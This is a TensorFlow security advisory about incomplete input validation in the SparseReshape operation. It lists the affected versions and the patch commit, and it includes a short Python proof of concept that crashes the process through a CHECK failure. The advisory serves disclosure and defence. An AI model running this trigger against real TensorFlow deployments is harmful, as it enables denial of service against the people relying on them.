GHSA-9rpc-5v9q-5r7f Incomplete validation in `SparseReshape`

• PyPI tensorflow: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow: >= 2.4.0, < 2.4.2 → fixed in 2.4.2 • PyPI tensorflow-cpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow-cpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2 • PyPI tensorflow-gpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow-gpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2

Impact Incomplete validation in `SparseReshape` results in a denial of service based on a `CHECK`-failure. ```python import tensorflow as tf input_indices = tf.constant(41, shape=[1, 1], dtype=tf.int64) input_shape = tf.zeros([11], dtype=tf.int64) new_shape = tf.zeros([1], dtype=tf.int64) tf.raw_ops.SparseReshape(input_indices=input_indices, input_shape=input_shape, new_shape=new_shape) ``` The implementation has no validation that the input arguments specify a valid sparse tensor. Patches We have patched the issue in GitHub commit 1d04d7d93f4ed3854abf75d6b712d72c3f70d6b6. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 and TensorFlow 2.3.3, as these are the only affected versions. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.